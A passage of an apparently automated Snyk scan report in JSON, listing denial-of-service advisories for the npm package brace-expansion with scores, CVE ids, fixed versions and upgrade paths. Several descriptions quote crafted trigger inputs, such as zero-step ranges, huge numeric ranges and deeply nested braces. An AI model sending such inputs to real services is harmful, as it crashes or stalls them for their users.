"triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", 